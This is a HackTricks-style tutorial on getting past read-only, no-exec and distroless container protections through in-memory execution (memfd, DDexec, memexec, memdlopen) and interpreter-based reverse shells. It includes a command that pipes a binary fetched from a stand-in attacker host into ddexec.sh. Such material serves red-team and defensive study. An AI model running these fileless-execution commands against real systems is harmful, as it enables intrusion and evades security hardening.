hacktricks/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md

# Bypass FS protections: read-only / no-exec / Distroless

<details>

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</details>

## Videos

In the following videos you can find the techniques mentioned in this page explained more in depth:

* [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)

## read-only / no-exec scenario

It's more and more common to find linux machines mounted with **read-only (ro) file system protection**, specially in containers. This is because to run a container with ro file system is as easy as setting **`readOnlyRootFilesystem: true`** in the `securitycontext`:

<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
metadata:
  name: alpine-pod
spec:
  containers:
  - name: alpine
    image: alpine
    securityContext:
<strong>      readOnlyRootFilesystem: true
</strong>    command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>

However, even if the file system is mounted as ro, **`/dev/shm`** will still be writable, so it's fake we cannot write anything in the disk. However, this folder will be **mounted with no-exec protection**, so if you download a binary here you **won't be able to execute it**.

{% hint style="warning" %}
From a red team perspective, this makes **complicated to download and execute** binaries that aren't in the system already (like backdoors o enumerators like `kubectl`).
{% endhint %}

## Easiest bypass: Scripts

Note that I mentioned binaries, you can **execute any script** as long as the interpreter is inside the machine, like a **shell script** if `sh` is present or a **python** **script** if `python` is installed.

However, this isn't just enough to execute your binary backdoor or other binary tools you might need to run.

## Memory Bypasses

If you want to execute a binary but the file system isn't allowing that, the best way to do so is by **executing it from memory**, as the **protections doesn't apply in there**.

### FD + exec syscall bypass

If you have some powerful script engines inside the machine, such as **Python**, **Perl**, or **Ruby** you could download the binary to execute from memory, store it in a memory file descriptor (`create_memfd` syscall), which isn't going to be protected by those protections and then call a **`exec` syscall** indicating the **fd as the file to execute**.

For this you can easily use the project [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). You can pass it a binary and it will generate a script in the indicated language with the **binary compressed and b64 encoded** with the instructions to **decode and decompress it** in a **fd** created calling `create_memfd` syscall and a call to the **exec** syscall to run it.

{% hint style="warning" %}
This doesn't work in other scripting languages like PHP or Node because they don't have any d**efault way to call raw syscalls** from a script, so it's not possible to call `create_memfd` to create the **memory fd** to store the binary.

Moreover, creating a **regular fd** with a file in `/dev/shm` won't work, as you won't be allowed to run it because the **no-exec protection** will apply.
{% endhint %}

### DDexec / EverythingExec

[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is a technique that allows you to **modify the memory your own process** by overwriting its **`/proc/self/mem`**.

Therefore, **controlling the assembly code** that is being executed by the process, you can write a **shellcode** and "mutate" the process to **execute any arbitrary code**.

{% hint style="success" %}
**DDexec / EverythingExec** will allow you to load and **execute** your own **shellcode** or **any binary** from **memory**.
{% endhint %}

```bash
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
```

For more information about this technique check the Github or:

{% content-ref url="ddexec.md" %}
[ddexec.md](ddexec.md)
{% endcontent-ref %}

### MemExec

[**Memexec**](https://github.com/arget13/memexec) is the natural next step of DDexec. It's a **DDexec shellcode demonised**, so every time that you want to **run a different binary** you don't need to relaunch DDexec, you can just run memexec shellcode via the DDexec technique and then **communicate with this deamon to pass new binaries to load and run**.

You can find an example on how to use **memexec to execute binaries from a PHP reverse shell** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).

### Memdlopen

With a similar purpose to DDexec, [**memdlopen**](https://github.com/arget13/memdlopen) technique allows an **easier way to load binaries** in memory to later execute them. It could allow even to load binaries with dependencies.

## Distroless Bypass

### What is distroless

Distroless containers contain only the **bare minimum components necessary to run a specific application or service**, such as libraries and runtime dependencies, but exclude larger components like a package manager, shell, or system utilities.

The goal of distroless containers is to **reduce the attack surface of containers by eliminating unnecessary components** and minimising the number of vulnerabilities that can be exploited.

### Reverse Shell

In a distroless container you might **not even find `sh` or `bash`** to get a regular shell. You won't also find binaries such as `ls`, `whoami`, `id`... everything that you usually run in a system.

{% hint style="warning" %}
Therefore, you **won't** be able to get a **reverse shell** or **enumerate** the system as you usually do.
{% endhint %}

However, if the compromised container is running for example a flask web, then python is installed, and therefore you can grab a **Python reverse shell**. If it's running node, you can grab a Node rev shell, and the same with mostly any **scripting language**.

{% hint style="success" %}
Using the scripting language you could **enumerate the system** using the language capabilities.
{% endhint %}

If there is **no `read-only/no-exec`** protections you could abuse your reverse shell to **write in the file system your binaries** and **execute** them.

{% hint style="success" %}
However, in this kind of containers these protections will usually exist, but you could use the **previous memory execution techniques to bypass them**.
{% endhint %}

You can find **examples** on how to **exploit some RCE vulnerabilities** to get scripting languages **reverse shells** and execute binaries from memory in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>